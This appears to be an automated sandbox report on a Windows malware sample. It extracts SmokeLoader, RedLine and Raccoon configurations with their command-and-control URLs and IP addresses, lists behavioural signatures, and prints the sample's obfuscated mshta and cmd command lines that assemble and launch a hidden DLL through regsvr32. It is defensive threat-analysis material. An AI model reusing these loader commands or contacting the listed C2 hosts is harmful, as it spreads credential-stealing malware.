Analysis

  • max time kernel
    168s
  • max time network
    160s
  • platform
    windows10_x64
  • resource
    win10-en-20211104
  • submitted
    13/11/2021, 19:21

General

  • Target
    21c90d672ce8b7f7b26a73a317a1e582.exe
  • Size 343KB
  • Sample211113-x2ncjscdcm
  • SHA256 6266bbc36a8b0d3046013224a77c22a79dd7f2e97d4d33689f76a92c6ab7f2f7
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://host-file-host6.com/

  • http://host-host-file8.com/

  • http://srtuiyhuali.at/

  • http://fufuiloirtu.com/

  • http://amogohuigotuli.at/

  • http://novohudosovu.com/

  • http://brutuilionust.com/

  • http://bubushkalioua.com/

  • http://dumuilistrati.at/

  • http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family
  • redline

C2
  • 185.159.80.90:38637

Extracted

Family
  • redline

Botnet
  • SuperStar

C2
  • 185.215.113.29:36224

Extracted

Family
  • raccoon

Version
  • 1.8.3-hotfix

Botnet
  • 675718a5f2ce6d3cacf6cb04a512f5637eae995f

Attributes
  • url4cnc

    http://91.219.236.27/agrybirdsgamerept

    http://5.181.156.92/agrybirdsgamerept

    http://91.219.236.207/agrybirdsgamerept

    http://185.225.19.18/agrybirdsgamerept

    http://91.219.237.227/agrybirdsgamerept

    http://185.163.47.176/agrybirdsgamerept

rc4.plain
rc4.plain

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 4 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 10 IoCs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\21c90d672ce8b7f7b26a73a317a1e582.exe
    "C:\Users\Admin\AppData\Local\Temp\21c90d672ce8b7f7b26a73a317a1e582.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3740
    • C:\Users\Admin\AppData\Local\Temp\21c90d672ce8b7f7b26a73a317a1e582.exe
      "C:\Users\Admin\AppData\Local\Temp\21c90d672ce8b7f7b26a73a317a1e582.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1252
  • C:\Users\Admin\AppData\Local\Temp\6974.exe
    C:\Users\Admin\AppData\Local\Temp\6974.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3884
    • C:\Users\Admin\AppData\Local\Temp\6974.exe
      C:\Users\Admin\AppData\Local\Temp\6974.exe
      2⤵
      • Executes dropped EXE
      PID:1724
  • C:\Users\Admin\AppData\Local\Temp\6E09.exe
    C:\Users\Admin\AppData\Local\Temp\6E09.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1916
    • C:\Users\Admin\AppData\Local\Temp\6E09.exe
      C:\Users\Admin\AppData\Local\Temp\6E09.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2600
  • C:\Users\Admin\AppData\Local\Temp\7136.exe
    C:\Users\Admin\AppData\Local\Temp\7136.exe
    1⤵
    • Executes dropped EXE
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:1504
  • C:\Users\Admin\AppData\Local\Temp\77FE.exe
    C:\Users\Admin\AppData\Local\Temp\77FE.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:400
    • C:\Users\Admin\AppData\Local\Temp\77FE.exe
      C:\Users\Admin\AppData\Local\Temp\77FE.exe
      2⤵
      • Executes dropped EXE
      PID:820
  • C:\Users\Admin\AppData\Local\Temp\925D.exe
    C:\Users\Admin\AppData\Local\Temp\925D.exe
    1⤵
    • Executes dropped EXE
    PID:2964
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2964 -s 892
      2⤵
      • Suspicious use of NtCreateProcessExOtherParentProcess
      • Program crash
      • Suspicious use of AdjustPrivilegeToken
      PID:1244
  • C:\Users\Admin\AppData\Local\Temp\FF7F.exe
    C:\Users\Admin\AppData\Local\Temp\FF7F.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:2280
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" vbscRiPt: cLoSE ( CreaTEObJect ( "WSCrIpt.ShElL" ). Run ( "CMd.EXe /Q/c COPY /Y ""C:\Users\Admin\AppData\Local\Temp\FF7F.exe"" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk & IF """"== """" for %S IN ( ""C:\Users\Admin\AppData\Local\Temp\FF7F.exe"" ) do taskkill -f /iM ""%~NXS"" " , 0 , TrUE ))
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4080
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /Q/c COPY /Y "C:\Users\Admin\AppData\Local\Temp\FF7F.exe" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk & IF ""== "" for %S IN ( "C:\Users\Admin\AppData\Local\Temp\FF7F.exe" ) do taskkill -f /iM "%~NXS"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2212
        • C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE
          ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1792
          • C:\Windows\SysWOW64\mshta.exe
            "C:\Windows\System32\mshta.exe" vbscRiPt: cLoSE ( CreaTEObJect ( "WSCrIpt.ShElL" ). Run ( "CMd.EXe /Q/c COPY /Y ""C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE"" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk & IF ""/PqgNvw4IlDLT7hpq3_wecIlKVwsIMk ""== """" for %S IN ( ""C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE"" ) do taskkill -f /iM ""%~NXS"" " , 0 , TrUE ))
            5⤵
              PID:2884
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /Q/c COPY /Y "C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk & IF "/PqgNvw4IlDLT7hpq3_wecIlKVwsIMk "== "" for %S IN ( "C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE" ) do taskkill -f /iM "%~NXS"
                6⤵
                  PID:4048
              • C:\Windows\SysWOW64\mshta.exe
                "C:\Windows\System32\mshta.exe" VbscrIPT: cLOSE ( cREateObJeCt ( "wscRiPt.SHELl" ). Run ( "cMd /r Echo | set /P = ""MZ"" > V_DXQ.No & COPY /y /b V_dXQ.NO + WX0Cjy.A + BPROiU.ZB +oWfJ6VGN.C + Yg_AN9.GRP ..\CXSXSHYX.ZBV & STARt regsvr32 ..\CxSXSHYX.ZBV -s & dEL /q * " ,0 , tRuE ) )
                5⤵
                  PID:1192
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /r Echo | set /P = "MZ" > V_DXQ.No & COPY /y /b V_dXQ.NO + WX0Cjy.A + BPROiU.ZB +oWfJ6VGN.C + Yg_AN9.GRP ..\CXSXSHYX.ZBV & STARt regsvr32 ..\CxSXSHYX.ZBV -s & dEL /q *
                    6⤵
                      PID:828
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /S /D /c" Echo "
                        7⤵
                          PID:2436
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /S /D /c" set /P = "MZ" 1>V_DXQ.No"
                          7⤵
                            PID:3864
                          • C:\Windows\SysWOW64\regsvr32.exe
                            regsvr32 ..\CxSXSHYX.ZBV -s
                            7⤵
                            • Loads dropped DLL
                            PID:1320
                    • C:\Windows\SysWOW64\taskkill.exe
                      taskkill -f /iM "FF7F.exe"
                      4⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:316
              • C:\Windows\SysWOW64\explorer.exe
                C:\Windows\SysWOW64\explorer.exe
                1⤵
                • Accesses Microsoft Outlook profiles
                • outlook_office_path
                • outlook_win_path
                PID:3856
              • C:\Windows\explorer.exe
                C:\Windows\explorer.exe
                1⤵
                  PID:680

                Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      memory/400-157-0x0000000002D76000-0x0000000002D99000-memory.dmp

                      memory/400-162-0x0000000002B70000-0x0000000002BA0000-memory.dmp

                      memory/680-211-0x00000000003F0000-0x00000000003F7000-memory.dmp

                      memory/680-212-0x00000000003E0000-0x00000000003EC000-memory.dmp

                      memory/820-180-0x0000000002483000-0x0000000002484000-memory.dmp

                      memory/820-170-0x0000000002430000-0x000000000244C000-memory.dmp

                      memory/820-158-0x0000000000400000-0x0000000000433000-memory.dmp

                      memory/820-163-0x0000000000400000-0x0000000000433000-memory.dmp

                      memory/820-181-0x0000000002484000-0x0000000002486000-memory.dmp

                      memory/820-179-0x0000000002482000-0x0000000002483000-memory.dmp

                      memory/820-172-0x0000000002490000-0x00000000024AB000-memory.dmp

                      memory/820-168-0x0000000002480000-0x0000000002481000-memory.dmp

                      memory/1252-120-0x0000000000400000-0x0000000000409000-memory.dmp

                      memory/1320-225-0x0000000004880000-0x0000000004935000-memory.dmp

                      memory/1320-226-0x0000000004A00000-0x0000000004AB4000-memory.dmp

                      memory/1320-227-0x0000000004AC0000-0x0000000004B6D000-memory.dmp

                      memory/1320-228-0x0000000004B70000-0x0000000004C09000-memory.dmp

                      memory/1504-141-0x0000000000490000-0x0000000000498000-memory.dmp

                      memory/1504-143-0x0000000000400000-0x0000000000433000-memory.dmp

                      memory/1504-142-0x00000000004A0000-0x00000000004A9000-memory.dmp

                      memory/1792-202-0x0000000000730000-0x0000000000731000-memory.dmp

                      memory/1792-203-0x0000000000730000-0x0000000000731000-memory.dmp

                      memory/1916-129-0x0000000000A40000-0x0000000000A41000-memory.dmp

                      memory/1916-137-0x00000000059E0000-0x00000000059E1000-memory.dmp

                      memory/1916-136-0x00000000054D0000-0x00000000054D1000-memory.dmp

                      memory/1916-135-0x0000000002DC0000-0x0000000002DC1000-memory.dmp

                      memory/1916-131-0x00000000052A0000-0x00000000052A1000-memory.dmp

                      memory/2280-195-0x0000000002A50000-0x0000000002A51000-memory.dmp

                      memory/2280-194-0x0000000002A50000-0x0000000002A51000-memory.dmp

                      memory/2600-191-0x00000000070A0000-0x00000000070A1000-memory.dmp

                      memory/2600-156-0x0000000004F00000-0x0000000004F01000-memory.dmp

                      memory/2600-144-0x0000000000400000-0x0000000000420000-memory.dmp

                      memory/2600-155-0x0000000004DD0000-0x0000000004DD1000-memory.dmp

                      memory/2600-164-0x0000000004D20000-0x0000000005326000-memory.dmp

                      memory/2600-165-0x0000000004E60000-0x0000000004E61000-memory.dmp

                      memory/2600-190-0x00000000069A0000-0x00000000069A1000-memory.dmp

                      memory/2600-150-0x0000000005330000-0x0000000005331000-memory.dmp

                      memory/2600-187-0x0000000005D30000-0x0000000005D31000-memory.dmp

                      memory/2600-176-0x0000000004EA0000-0x0000000004EA1000-memory.dmp

                      memory/2600-184-0x0000000005180000-0x0000000005181000-memory.dmp

                      memory/2964-183-0x00000000047E0000-0x000000000486F000-memory.dmp

                      memory/2964-182-0x0000000002F46000-0x0000000002F95000-memory.dmp

                      memory/2964-185-0x0000000000400000-0x0000000002B85000-memory.dmp

                      memory/3040-122-0x0000000000CE0000-0x0000000000CF6000-memory.dmp

                      memory/3040-161-0x0000000002CB0000-0x0000000002CC6000-memory.dmp

                      memory/3740-119-0x0000000002CA0000-0x0000000002CA9000-memory.dmp

                      memory/3856-210-0x00000000030A0000-0x000000000310B000-memory.dmp

                      memory/3856-209-0x0000000003110000-0x0000000003184000-memory.dmp